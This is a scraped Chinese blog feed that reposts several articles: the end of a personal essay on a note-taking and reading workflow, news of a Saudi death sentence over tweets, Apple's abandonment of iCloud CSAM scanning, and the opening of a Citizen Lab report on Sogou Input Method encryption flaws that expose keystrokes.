Logseq 的 Journal 中,有时可能会临时发在一个只有自己一个人的微信群中或是 Telegram 的 Saved Message
中,后续再补充上去。</p><h4 id="信息流">信息流</h4><p>我每天从起床开始就会被来自各个平台的信息流所裹挟,依赖于网络世界其实最难免的是与社交媒体与算法的抗争,一方面是要避免自己被过载的贩卖焦虑的信息或是熟人社交圈的“Peer
Pressure”所困扰,另一方面也需要警惕算法所构造的信息茧房。实话说这一点挺难做到,即使自己多少算是具备一些克制和过滤信息的能力并有意识在这样做,但依然难以避免被其所扰乱思绪或是引导。</p><p>我最后采取了一种简单却也行之有效的方式
—— 关闭微信朋友圈入口与大部分软件通知提醒,并且把大部分不带社交属性而仅仅是用于信息获取的平台(如 B 站、微博等)的关注数量控制在 100
以内,如果新增则筛选优化之前的关注,减少无关内容的干扰。在完成上述行为的基础上,我使用 RSS 订阅这一似乎有些古早的方式,但是仅订阅了不到
50 个网站,其中大部分是博客或是个人网站,且会定期筛选,减少自己每天的 feeds,但几乎在这一 feeds list
中的文章都会扫一下标题或初步浏览一下。</p><p><img alt="readwise_reader_feeds" src="https://image.pseudoyu.com/images/readwise_reader_feeds.png" /></p><p>这一点我最开始是自己搭建了 Miniflux 服务来抓取,并且用一个 <a href="https://github.com/Rongronggg9/RSS-to-Telegram-Bot">RSS-to-Telegram-Bot</a> 来推送提醒的,而最近开始使用 <a href="https://read.readwise.io/">Readwise Reader</a> 后,由于体验很好,便把这一部分迁移过来了。我使用的是 Readwise Reader 内置的一种管理模式,分为三类:</p><ol><li>Later</li><li>Shortlist</li><li>Archive</li></ol><p>我会每天扫描一下
Feeds 面板,扫到感兴趣的文章会加入到 Later
中,作为一个稍后读,当然,就以前的经验来说,稍后读放久了常常会变成“稍后也不读”,所以我在筛选时非常克制,仅将很感兴趣且有时间后马上会读的文章加入,并要求自己在晚上的时候清理
Later 列表。</p><p>而我们也会在社交媒体互联网的各个角落被推送到一些信息,其中我尤其在意的是这几类:</p><ol><li>感兴趣的一些观点/推文 threads</li><li>感兴趣的文章</li><li>有用的资源</li></ol><p>如果是一些比较有意思的观点或是评论,我通常并不会加入软件的对应
List、收藏夹等,而是会复制其内容到 Logseq 的 Journal 中并打上对应 tag,其实这一步很多软件(包括 Readwise
Reader)提供了推特 threads
保留或是其他的一些更方便保存推文的方式,但我倾向于自己复制和整理,以几句话的方式记录下来而不是仅仅存一个链接,这样似乎刻意增加的步骤会让我多一步审视这些观点,避免被强引导性或是情绪化的观点所影响,也更有益于自己消化信息并内化为自己的想法。</p><p><img alt="readwise_chrome_extension" src="https://image.pseudoyu.com/images/readwise_chrome_extension.png" /></p><p>如果是自己感兴趣的一些文章,则会通过 Readwise 的 Chrome 插件进行阅读或保存。这部分我给自己的要求是每篇文章都要打上标签和 notes,notes 中主要描述为什么要读这篇文章。</p><p><img alt="readwise_chrome_extension_highlight" src="https://image.pseudoyu.com/images/readwise_chrome_extension_highlight.png" /></p><p>其中如果仅仅是需要泛读或是获取信息的一些文章,我会加入
Later 列表,而精读的我则是会加入 Shortlist,并且必须要对其中一些有意义的话加 highlights,也尽量对
highlights 加上自己的一些评价和想法,这些都可以在插件中直接操作,很方便。</p><p><img alt="pinboard_bookmark" src="https://image.pseudoyu.com/images/pinboard_bookmark.png" /></p><p>而如果是一些有用的网站、文档、代码、软件或是其他资源类的信息,我会使用 <a href="https://pinboard.in/">Pinboard</a>,一个很古早但是很好用的书签管理工具来保存,同样是用浏览器插件进行保存,也会打上标签和简单的描述,大概一年左右了我积累了 455 个书签,其中大部分我都能够通过 tag 和名称在需要用的时候快速检索到。</p><p>而像是视频网站等我更多还是使用点赞或是收藏的方式,一方面对创作者表示支持,另一方面也通过一些自动化工具同步到我的 Telegram 个人频道「<a href="https://t.me/pseudoyulife">Yu’s Life</a>」,并标记上对应 tag,但大多视频的信息效率并不高,所以更多是一些有趣的或是探索向的。</p><h4 id="聚焦阅读">聚焦阅读</h4><p>除了上述这些被动推送的一些信息流外,其实我们也还会有很多特定主题或是与自己的领域强相关的一些信息需求,这需要我们去主动阅读一些书籍、报告等。</p><p><img alt="wechat_reader_sync_readwise" src="https://image.pseudoyu.com/images/wechat_reader_sync_readwise.png" /></p><p>这一部分我原本更多是使用 kindle 或阅读纸质书,并手动在 Logseq 进行一些记录。但是在 <a href="https://lutaonan.com/">Randy</a> 推出 <a href="https://notepal.randynamic.org/">Notepal</a> 工具后,我开始使用微信读书,它本身有很多可阅读的书籍资源,并且我也用它导入 mobi 或是 epub 格式的一些书籍,阅读体验感还不错。</p><p><img alt="wechat_reader_to_readwise" src="https://image.pseudoyu.com/images/wechat_reader_to_readwise.png" /></p><p>并且也很方便做一些笔记和标注,由于全平台同步,可以很方便地定期通过 Notepal 浏览器插件同步到 Readwise 中,效果也很好(上图就是同步过来的),这样也更有动力在碎片的一些时间里阅读一些书籍。</p><h3 id="信息管理">信息管理</h3><p>上一节我对信息获取的渠道和系统进行了一些梳理,但这些依然还是零散的信息,如果要让它们成为自己知识和思考的一部分,依然需要更多整理、消化与沉淀的过程。但涉及那么多平台,搜索和整理并不方便,也比较难建立起信息之间的关联,受正在读的这本「Building
a Second Brain」 启发,我主要做了如下两点:</p><ol><li>借鉴和改造了 P.A.R.A 作为自己的全局 Tag 分类系统</li><li>使用 Logseq 和 Heptabase 构建 Second Brain</li></ol><h4 id="全局-tag-系统">全局 Tag 系统</h4><p><img alt="pama_framework" src="https://image.pseudoyu.com/images/pama_framework.jpg" /></p><p>其中 P.A.R.A 是作者所提出的一个框架,分别是:</p><ul><li>Projects,正在做的项目相关</li><li>Areas,特定领域</li><li>Resources,未来可能会用到的资源</li><li>Archives,已完成的项目</li></ul><p>我在这四个的类型的基础上增加了一个「Thoughts」,用于归类我的一些随机的想法。</p><p><img alt="logseq_tag_system" src="https://image.pseudoyu.com/images/logseq_tag_system.png" /></p><p>我的实现思路是把这五个类型作为我的全局一级 Tag,而更具体的一些项目、领域、行业可作为二级、三级 Tag,例如 <code>Projects/writing/pkm</code>,<code>Areas/blockchain</code>,<code>Thoughts/weekly-review</code> 等,Logseq 提供了很强大的多层 Tag 系统,会自动根据 <code>/</code> 进行分层,便于检索,分类也一目了然,我把之前现有的一些 Tag 修改后效果如下:</p><p><img alt="para_logseq_graph" src="https://image.pseudoyu.com/images/para_logseq_graph.png" /></p><h4 id="基于-heptabase--logseq-的-second-brain">基于 Heptabase + Logseq 的 Second Brain</h4><p>我之前一直都是使用 Logseq 作为自己的知识管理系统的,最近看到了 <a href="https://twitter.com/WuPingJu">P.J. Wu 吳秉儒</a> 入职 Heptabase,对这一平台有了更多了解,于是将其纳入自己的知识管理系统,和 Logseq 双刀流共同构建自己的第二大脑。只要因循上文所说的 Tag 系统,两个平台之间并不需要额外的关联便可以各司其职地进行信息管理。</p><p><img alt="logseq_sync_readwise_sample_page" src="https://image.pseudoyu.com/images/logseq_sync_readwise_sample_page.png" /></p><p>其中,Logseq
作为兼具简单任务管理和双向链接的笔记系统,非常适合沉淀我上述的这些信息流和一些自己阅读后产出的初步想法,如高亮、评论 notes 等,由于
Logseq 有 Readwise 官方插件,可以很方便地将我在微信读书和网络文章中的高亮和笔记自动同步为 Logseq 的
pages,并通过时间与 Journal 关联,这样我在每天/每周写一些回顾时能很直观地看到我过去的阅读和想法,如上文就是我在阅读 <a href="https://twitter.com/MapleShadow">枫影 Justin Yan</a> 的这篇「<a href="https://justinyan.me/post/5790">每个人每天都只有 24 小时,希望我的选择真的是我的选择</a>」时在他的网站上使用 Readwise Chrome 插件做的一些高亮和笔记,自动同步到了 Logseq 中,并根据我的配置打上了一些 tag 与属性。</p><p>Logseq
很适合做一些信息整理和回顾,但当我要对某个领域/概念进行调研、阅读书籍整理脉络或是输出一篇博客文章时就显得稍稍有些单薄,它的信息以 block
为单位散落在每一天的 Journal 中,通过双向链接或是 tag
进行关联跳转,不方便进行一些直接的可视化关联,也需要自己对在前期就对关键词和 tag 做到足够清晰,依然有一些心智负担,所以这一部分我使用
Heptabase 来进行管理。</p><p>Heptabase 可以看作是一个功能完善的白板笔记工具, <a href="https://twitter.com/WuPingJu">P.J. Wu 吳秉儒</a> 有很多关于 Heptabase 的<a href="https://pinchlime.com/tags/heptabase/">高质量介绍文章</a>,可以阅读了解一下。简单来说,它主要分为以下三个层级:</p><ul><li>Map</li><li>Whiteboard</li><li>Card</li></ul><p><img alt="heptabase_map_overview" src="https://image.pseudoyu.com/images/heptabase_map_overview.png" /></p><p>其中 Map 可以看作是我们 Second Brain 的整个空间,里面可以装各种白板,我建立了五个白板来作为第一层级 Tag。</p><p><img alt="heptabase_whiteboard_overview" src="https://image.pseudoyu.com/images/heptabase_whiteboard_overview.png" /></p><p>卡片代表的是我们脑中的一个个想法或是一些独立的信息点,我们可以通过卡片与卡片的关联,白板与卡片之间的层级来组织我们知识。</p><p>当我在写 Foundry 智能合约开发框架的教程时,我首先把一些零散的知识点或是实践中遇到的一些经验、教训以一个个白板平铺在 Foundy 的白板上(其为 <code>Projects</code> - <code>Blockchain</code> - <code>Smart Contract</code> 下的第四级子白板),当某个知识点已经足够多时,我会把白板之间再作一些 Section 分组、画线关联等。</p><p>其中它还提供了原生与
Readwise 的集成,可以在右侧边栏直接选择 Readwise 中我们对某些文章、书籍的一些 highlights 与 notes
作为卡片直接引入到白板中,为它们建立一些关联,很像我们人脑整理零散信息或是头脑风暴的过程,完美符合了我的需求。</p><p><img alt="heptabase_chiangmai_trip" src="https://image.pseudoyu.com/images/heptabase_chiangmai_trip.png" /></p><p>我目前还会用它做一些旅行攻略,把从小红书和其他人的攻略帖中的信息点作为一个个 card 放在旅行规划的白板中,然后再通过关联和分组进行整理,很规整。</p><h2 id="信息输出">信息输出</h2><p>而我的输出则主要包含以下几个部分:</p><ol><li>笔记/观点/日常</li><li>长文</li><li>主题研究</li><li>信息流</li></ol><h3 id="笔记观点日常">笔记/观点/日常</h3><p><img alt="yu_twitter_profile" src="https://image.pseudoyu.com/images/yu_twitter_profile.png" /></p><p>其中 Twitter 「<a href="https://twitter.com/pseudo_yu">pseudo_yu</a>」是我最主要的无结构化的信息输出渠道,有时候是一些关于新技术的想法、关于工作的感受、与朋友相见的心情或是一张可爱的猫猫图,都构成了我输出,也对应着我输入中那些随机想法的快速产出。</p><p>其中,Twitter 上认识的朋友也给我带来了很多温暖。</p><h3 id="长文">长文</h3><p><img alt="yu_blog_homepage" src="https://image.pseudoyu.com/images/yu_blog_homepage.png" /></p><p>而我最重要的输出平台是个人博客「<a href="https://www.pseudoyu.com/">Pseudoyu</a>」,目前周报是我的主要出口,偶尔也会有一些主题或专题性的关于技术或是效率工具的博文。</p><h3 id="主题研究">主题研究</h3><p>输出一篇博文由于要考虑到受众、言辞表述与完整性等,其实有一定的心智负担,且周期较长,而我在进行特定领域的主题研究过程中大多把学习资料和一些
Demo 放在 GitHub 仓库中或是 Logseq 的某个笔记角落,有时候时间久了就得要重新学习了。而我现在更多放在 Heptabase
的一个白板里,能够存放很多小的知识点并且在后续的创作中再进一步归纳和精炼,所以其实可以在初具框架后把这个白板共享出来,可以与更多人进行交流,也能对同样在学习的朋友有所帮助。</p><h3 id="信息流输出">信息流输出</h3><p><img alt="yu_telegram_channel_screenshot" src="https://image.pseudoyu.com/images/yu_telegram_channel_screenshot.png" /></p><p>我搭建了一个自己的 n8n 同步服务,采集我零散在各个平台的信息输入输出,并且还会将我对电影、书籍的观后感以及自己其他一些所思所想发在自己的 Telegram 频道「<a href="https://t.me/pseudoyulife">Yu’s Life</a>」里。也关注了一些频道和群组获取一些资讯或是认识一些志同道合的人,偶尔会手动转发,主要同步以下几个平台:</p><ul><li>Blog,现在更像是一种生活日志。</li><li>YouTube,也是重度用户了,看技术相关教程和数码资讯比较多,偶尔也有很多好玩的内容。</li><li>Bilibili,主要保留了自己这么多年一直在关注的一些博主,看旅拍比较多,只看动态不看首页和热门。</li><li>Pinboard,书签和网站保存管理工具,重度依赖了。</li><li>Instapaper,管理稍后读,主要是一些精品或是长文的保存。</li><li>GitHub,也是日常刷了,看一些好的项目,也用列表在管理 Star。</li><li>Spotify,好听的歌会标注一下。</li><li>豆瓣,记录自己的书籍、剧集、电影、动漫和游戏,也是重度使用了,也在尝试每一个看过/玩过的作品都写一下自己的评价。</li></ul><h2 id="数据备份">数据备份</h2><p>虽然像是
Twitter、Telegram 已经是比较大的平台,但毕竟是中心化的产物,再加上最近的各种风波,对于自己这些信息源的归集总是不放心
Telegram 作为最终站,尤其是我常常在删消息时差点误点删除全部(奇怪的交互体验),所以信息的同步导出部分也是很重要一环,我使用
Crossbell 生态下的 <a href="https://xlog.app/">xLog</a> 与 <a href="https://xsync.app/">xSync</a> 服务进行我的博客与各平台信息的链上备份。</p><h3 id="xlog">xLog</h3><p><img alt="yu_xlog_profile" src="https://image.pseudoyu.com/images/yu_xlog_profilea6f9af1d5482abc7.png" /></p><p>视觉效果和体验感都不错,且基于 Crossbell 地址能够很方便地进行 follow 和评论,包含了 NFT 展示柜、个人作品集等功能,这是我的 <a href="https://xlog.pseudoyu.com/">xLog 访问地址</a>,有兴趣的朋友们也可以关注一下,不过目前出于定制化程度、各种历史文章迁移路由问题、自己各项数据统计服务变动等考虑,还是更多作为一个同步分发渠道。</p><h3 id="xsync">xSync</h3><p><img alt="yu_sync_profile" src="https://image.pseudoyu.com/images/yu_sync_profile.png" /></p><p>xSync 能够同步 Twitter、Telegram Channel 等平台,不需要做任何侵入式改造就能把我的聚合频道作再一次备份与存档,后续可以通过 xChar 来查看自己的各项消息了,很完美的解决方案,这是我的 xChar 个人主页: <a href="https://xchar.app/pseudoyu">xChar</a>,也可以通过 <a href="https://xfeed.app/u/pseudoyu">xFeed</a> 查看我的信息流。</p><h2 id="总结">总结</h2><blockquote><p>it is probably a mistake, in the end, to ask software to improve our thinking.</p></blockquote><p><a href="https://www.theverge.com/authors/casey-newton">Casey Newton</a> 在最近的一篇「<a href="https://www.theverge.com/2023/8/25/23845590/note-taking-apps-ai-chat-distractions-notion-roam-mem-obsidian">Why note-taking apps don’t make us smarter</a>」中如是说。确实,这些系统或是工具软件其实终究只能辅助我们进行信息管理和输出,并不能代替我们思考,但构建知识管理系统在取悦自己的同时,也能够让思考变得更加高效,悦己才能达人,从而产出更有价值的输出。</p><p>希望这篇文章能够对大家有所帮助。</p> <div class="blogger-post-footer">翻墙技术博客<a href="http://www.chinagfw.org/2013/09/blog-post.html">订阅地址及社交帐号</a></div>pompeihttp://www.blogger.com/profile/07160630084550754009noreply@blogger.com0tag:blogger.com,1999:blog-5500297126185736776.post-90768598399820802842023-09-04T15:59:00.005+08:002023-09-06T10:55:00.946+08:00沙特男子因推特言论被判死刑,这是对网络批评者的最严厉判决<span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">
</span><div data-file="" data-filetype="image/png" data-url="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/83d19bb3-f1a0-40f8-96be-3448a99d12c8_image_image.png"></div><div data-file="" data-filetype="image/png" data-url="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/83d19bb3-f1a0-40f8-96be-3448a99d12c8_image_image.png"></div><div data-file="" data-filetype="image/png" data-url="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/83d19bb3-f1a0-40f8-96be-3448a99d12c8_image_image.png"></div><div data-file="" data-filetype="image/png" data-url="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/83d19bb3-f1a0-40f8-96be-3448a99d12c8_image_image.png"></div><div data-file="" data-filetype="image/png" data-url="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/83d19bb3-f1a0-40f8-96be-3448a99d12c8_image_image.png"></div><div data-file="" data-filetype="image/png" data-url="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/83d19bb3-f1a0-40f8-96be-3448a99d12c8_image_image.png"></div><div data-file="" data-filetype="image/png" data-url="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/83d19bb3-f1a0-40f8-96be-3448a99d12c8_image_image.png"></div><div data-file="" data-filetype="image/png" data-url="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/83d19bb3-f1a0-40f8-96be-3448a99d12c8_image_image.png">via:<a href="https://here.news/post/64f539b120d455ec73d57d93"> https://here.news/post/64f539b120d455ec73d57d93</a><br /></div><p>根据人权倡导者和他的家人的说法,沙特阿拉伯一名退休教师最近因推特上批评该国领导层的言论而被判死刑。</p><p>现年50多岁的穆罕默德·阿尔加姆迪(Mohammad
Alghamdi)的判决是沙特阿拉伯对社交媒体用户日益加强的打击行动中的最新一例。虽然其他人因推特和在线批评政府而被判服刑20至45年,但阿尔加姆迪似乎是第一个仅凭其在推特(前身为Twitter)和YouTube上的帖子而被判死刑的人。</p><p>对批评者的广泛打击行动发生在沙特阿拉伯王储穆罕默德·本·萨勒曼(Mohammed
bin
Salman)推动敏感改革的同时,这些改革已经彻底改变了该国的生活,并放宽了许多限制。这些全面的改革,如允许妇女开车,结束公共场所的严格性别隔离规定,以及向娱乐和旅游开放国家,与同样全面的异议浪潮同时发生。</p><p>居住在麦加的七个孩子的父亲阿尔加姆迪在推特上的两个匿名账户之间只有10个关注者。根据人权观察组织的说法,他在这个社交媒体网站上抨击所谓的政府腐败,但主要是转发更受欢迎的政府批评者的帖子。</p><h2>推特账户受到打击</h2><p>X平台是沙特阿拉伯最受欢迎的社交媒体网站之一。沙特人经常在这里发泄他们对政府政策的不满。</p><p>ALQST人权组织的监测和倡导主任丽娜·阿尔哈特卢尔(Lina Alhathloul)表示,尽管用户因推文而受到打击和拘留,但该平台仍然是沙特人可以表达观点的最后一片空地,即使是匿名的。</p><p>她说:“这是人们实际上讨论社会问题的最后一个空间。” “在现实生活中,每个人都自我审查。他们知道自己处于危险之中,但人们认为在推特上,尤其是在匿名账户上,他们可能是安全的。”</p><p>但是,即使是匿名账户也无法保护用户免受沙特起诉。目前尚不清楚沙特当局如何能够在X上验证阿尔加姆迪的身份。</p><p>在其他案件中,沙特用户的身份似乎已经泄露,使他们面临逮捕和长期监禁的风险。美国的一份联邦调查和联邦调查局的投诉导致去年一名前推特员工被判犯有未注册为沙特阿拉伯代理人的罪名。他还因收受贿赂以交出沙特政府批评者的机密用户数据而被判有罪。</p><p>阿尔哈特卢尔表示,所有这些案件传递出的信息是明确的。</p><p>她说:“无论你做什么,无论你是谁,你都不安全。你只需要让自己闭嘴。”</p><h2>领导层遭到批评引发反恐法</h2><p>阿尔加姆迪的案件之所以引人注目,是因为他在X上的账户显然影响范围很小,与他所受到的严厉判决形成鲜明对比。他可以对判决提出上诉。</p><p>人权倡导者和人权观察组织审查的法庭文件显示,阿尔加姆迪于7月10日根据该国措辞含糊的反恐法被判死刑,原因是他利用自己的社交媒体账户犯下了侮辱沙特国王或王储以及支持恐怖主义意识形态等罪行。</p><p>他被利雅得的专门刑事法院判有罪。该法院成立于15年前,用于审理恐怖主义案件,但也被用于起诉政府批评者。</p><p>检方在这些案件中经常辩称,侮辱或批评沙特阿拉伯领导层对国家安全构成威胁,可能破坏社会稳定。许多这些审判都是在闭门会议上进行的。</p><p>沙特政府尚未回应NPR关于阿尔加姆迪案的请求。然而,当官员在公共论坛上被问及沙特阿拉伯的法律和司法体系时,他们经常表示法院是独立的,或者认为整体改革需要时间。</p><h2>一个被通缉的兄弟</h2><p>阿尔加姆迪的兄弟赛义德·阿尔加姆迪(Saeed
Alghamdi)认为,对他的年轻兄弟的起诉实际上是为了针对他。赛义德·阿尔加姆迪是一位著名的伊斯兰学者,与该国最著名的被监禁批评者有联系。他于2013年离开沙特阿拉伯,并创办了沙纳德(SANAD)沙特人权组织。他现在在英国流亡。</p><p>他说,沙特当局试图说服他回到王国,承诺如果他回去并停止在国外进行活动,他将获得金钱和美好的生活。</p><p>他说:“他们想要针对我个人,因为他们曾多次试图说服我回国。” “当我拒绝时,他们就采取了这种方式。这是我对这种情况的看法。”</p><p>尽管无法独立验证他的说法,但已知有对海外异见人士家属的报复行动。</p><p>赛义德·阿尔加姆迪说:“只要情况保持这样,我绝对不打算返回(沙特阿拉伯)。”</p> <div class="blogger-post-footer">翻墙技术博客<a href="http://www.chinagfw.org/2013/09/blog-post.html">订阅地址及社交帐号</a></div>pompeihttp://www.blogger.com/profile/07160630084550754009noreply@blogger.com0tag:blogger.com,1999:blog-5500297126185736776.post-58879018436933193752023-09-04T11:28:00.006+08:002023-09-04T11:29:49.548+08:00苹果终止CSAM照片扫描,引发HeatInitiative运动儿童安全争议<span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">
</span><p>via: <a href="https://here.news/post/64f4001020d455ec73d542a6">https://here.news/post/64f4001020d455ec73d542a6</a> <br /></p><p>儿童安全组织Heat Initiative计划发起一项运动,敦促苹果在儿童性虐待材料扫描和用户举报方面采取行动。该公司在周四发表了一份罕见而详细的回应。</p><p>12月份,苹果表示将终止设计一个保护隐私的iCloud照片扫描工具,用于检测平台上的儿童性虐待材料(CSAM)。该项目最初于2021年8月宣布,自从开始就备受争议。苹果最初在2021年9月暂停该项目,以回应数字权利组织和研究人员的担忧,他们认为这样的工具不可避免地会被滥用和利用,从而危及所有iCloud用户的隐私和安全。本周,一个名为Heat
Initiative的新的儿童安全组织告诉苹果,他们正在组织一场运动,要求苹果“检测、举报和删除”iCloud中的儿童性虐待材料,并为用户提供更多举报CSAM的工具。</p><p>今天,苹果罕见地回应了Heat
Initiative,概述了放弃开发iCloud
CSAM扫描功能的原因,并转而专注于一套称为通信安全功能的设备上工具和资源。苹果与WIRED分享了公司对Heat
Initiative的回应,这不仅提供了苹果转向通信安全的理由,还展示了苹果对创建绕过用户隐私保护(如加密)的机制的更广泛观点。这一立场与加密辩论更广泛相关,特别是在英国等国家考虑通过法律要求科技公司能够访问用户数据以配合执法请求的情况下。</p><p>苹果的用户隐私和儿童安全总监Erik
Neuenschwander在公司对Heat
Initiative的回应中写道:“儿童性虐待材料是令人憎恶的,我们致力于打破使儿童易受其害的胁迫和影响链条。”他补充道,尽管与一系列隐私和安全研究人员、数字权利组织和儿童安全倡导者进行了合作,但公司得出结论,无法继续开发CSAM扫描机制,即使是专门为了保护隐私而构建的机制。</p><p>Neuenschwander写道:“扫描每个用户的私人存储的iCloud数据将为数据窃贼寻找和利用提供新的威胁向量。这也会引发潜在的滑坡效应。例如,扫描某一类型的内容会为大规模监视打开大门,并可能导致希望搜索其他加密消息系统的内容类型。”</p><p>Heat
Initiative由Sarah
Gardner领导,她曾是非营利组织Thorn的外部事务副总裁,该组织致力于利用新技术打击在线儿童剥削和性贩卖。2021年,Thorn称赞苹果开发iCloud
CSAM扫描功能的计划。Gardner在8月30日星期三给首席执行官Tim Cook的一封电子邮件中写道,Heat
Initiative对苹果终止该功能的决定感到“失望”,这封电子邮件也与WIRED分享了。</p><p>Gardner在给Cook的邮件中写道,苹果的照片扫描工具“不仅将苹果定位为全球用户隐私的领导者,还承诺从iCloud中清除数百万张儿童性虐待图像和视频。……儿童性虐待是一个难以讨论的问题,这就是为什么它会被沉默和被遗忘。我们在这里确保这种情况不会发生。”</p><p>苹果坚持认为,即使是自己出于善意的设计,在实践中也无法得到充分的保护,而对于消息、FaceTime、AirDrop和照片选择器等功能的设备上的裸体检测是更安全的替代方案。苹果还开始为其通信安全功能提供应用程序编程接口(API),以便第三方开发人员可以将其整合到其应用程序中。苹果表示,通信平台Discord正在整合这些功能,并且应用程序开发者普遍热衷于采用这些功能。</p><p>Neuenschwander在给Heat Initiative的回应中写道:“我们决定不继续推进几年前关于iCloud照片的混合客户端-服务器方法的CSAM检测提案。我们得出结论,从实际上来说,这是不可行的,因为它最终会危及我们用户的安全和隐私。”</p><p>对于Heat
Initiative要求苹果为用户创建CSAM举报机制,该公司告诉WIRED,它的重点是将其脆弱或受害用户直接与当地资源和执法机构联系,以协助他们,而不是将苹果定位为处理报告的中间人。该公司表示,为交互式平台(如社交网络)提供这种中间服务可能是有意义的。</p><p>保护儿童免受在线性虐待的需求是紧迫的,然而,随着这些关切与更广泛的加密辩论交织在一起,苹果拒绝实施数据扫描的决心将继续受到考验。</p><p>阅读Heat Initiative和苹果之间的完整交流,请参见下文。为了保护发件人和收件人的隐私,WIRED已经删除了敏感个人信息:</p><div data-file="" data-filetype="image/jpeg" data-url="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/72971025-d217-4396-9b51-d19ada1362bf_image_apple-letter-to-heat-initiative_page-0003.jpg"><img alt="Picked image" src="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/72971025-d217-4396-9b51-d19ada1362bf_image_apple-letter-to-heat-initiative_page-0003.jpg" /></div><div data-file="" data-filetype="image/jpeg" data-url="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/9428dc07-dc4b-4bb4-b72f-7109c0aeccda_image_apple-letter-to-heat-initiative_page-0002.jpg"><img alt="Picked image" src="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/9428dc07-dc4b-4bb4-b72f-7109c0aeccda_image_apple-letter-to-heat-initiative_page-0002.jpg" /></div><div data-file="" data-filetype="image/jpeg" data-url="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/b930eba2-3835-4450-ad35-d51ea4836b7c_image_apple-letter-to-heat-initiative_page-0001.jpg"><img alt="Picked image" src="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/b930eba2-3835-4450-ad35-d51ea4836b7c_image_apple-letter-to-heat-initiative_page-0001.jpg" /></div><p><a href="https://www.wired.com/story/apple-csam-scanning-heat-initiative-letter/" target="_blank">https://www.wired.com/story/apple-csam-scanning-heat-initiative-letter/</a></p> <div class="blogger-post-footer">翻墙技术博客<a href="http://www.chinagfw.org/2013/09/blog-post.html">订阅地址及社交帐号</a></div>pompeihttp://www.blogger.com/profile/07160630084550754009noreply@blogger.com0tag:blogger.com,1999:blog-5500297126185736776.post-86858919233256355962023-09-01T20:28:00.001+08:002023-09-01T20:28:36.795+08:00"请別公开": 加拿大公民實驗室公开搜狗輸入法安全漏洞和隱私侵犯的完整報告<span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">
</span><p><i>via <a href="https://here.news/post/3507b25e-b8cb-4b34-b58a-ee6cd9ce791d/%E8%AF%B7%E5%88%A5%E5%85%AC%E5%BC%80-%E5%8A%A0%E6%8B%BF%E5%A4%A7%E5%85%AC%E6%B0%91%E5%AF%A6%E9%A9%97%E5%AE%A4%E5%85%AC%E5%B8%83%E6%90%9C%E7%8B%97%E8%BC%B8%E5%85%A5%E6%B3%95%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E%E5%92%8C%E9%9A%B1%E7%A7%81%E4%BE%B5%E7%8A%AF%E7%9A%84%E5%AE%8C%E6%95%B4%E5%A0%B1%E5%91%8A">here.news</a> <br /></i></p><p><i>搜狗输入法加密中的漏洞使按键暴露于网络窃听</i></p><p><b>作者:Jeffrey Knockel, Zoë Reichert, and Mona Wang</b></p><p><b>日期:2023年8月9日</b></p><p>我们敦促搜狗输入法用户立即更新到最新版本的应用程序(至少是Windows版本13.7,Android版本11.26或iOS版本11.25)。</p><p><b>主要发现:</b></p><ul><li><p>我们分析了腾讯的搜狗输入法,该输入法是中国最受欢迎的输入法,拥有超过4.5亿的月活跃用户。</p></li><li><p>通过分析软件的Windows、Android和iOS版本,我们发现了搜狗输入法自定义的“EncryptWall”加密系统以及它对敏感数据进行加密的漏洞。</p></li><li><p>我们发现,包含用户按键等敏感数据的网络传输可以被网络窃听者解密,揭示用户的实时输入内容。</p></li><li><p>我们已将这些漏洞披露给搜狗开发人员,并且他们已经发布了修复的软件版本(截至2023年7月20日,Windows版本13.7,Android版本11.26和iOS版本11.25)。</p></li><li><p>这些发现强调了中国软件开发人员使用得到良好支持的加密实现(如TLS)的重要性,而不是试图自行设计加密系统。</p></li></ul><h2>简介:</h2><p>与输入少量字母的字母语言相比,输入象形文字语言(如中文)更加困难。中文有数以万计的字符,使用频率各不相同,无法全部放在一个键盘上。没有标准的中文输入方法,但随着现代技术的发展,出现了许多互补的方法。最流行的是拼音输入法,基于汉字的拼音罗马化。注音是另一种常用的音标输入法,而形状或笔画输入法(如仓颉或五笔)也常被使用。现代输入法还支持通过手写、语音识别、照片或OCR输入字符。</p><div data-file="" data-filetype="image/png" data-url="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/e43f0ba9-b7e0-4802-a428-8b51428e3713_image_image.png"><img alt="Picked image" src="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/e43f0ba9-b7e0-4802-a428-8b51428e3713_image_image.png" 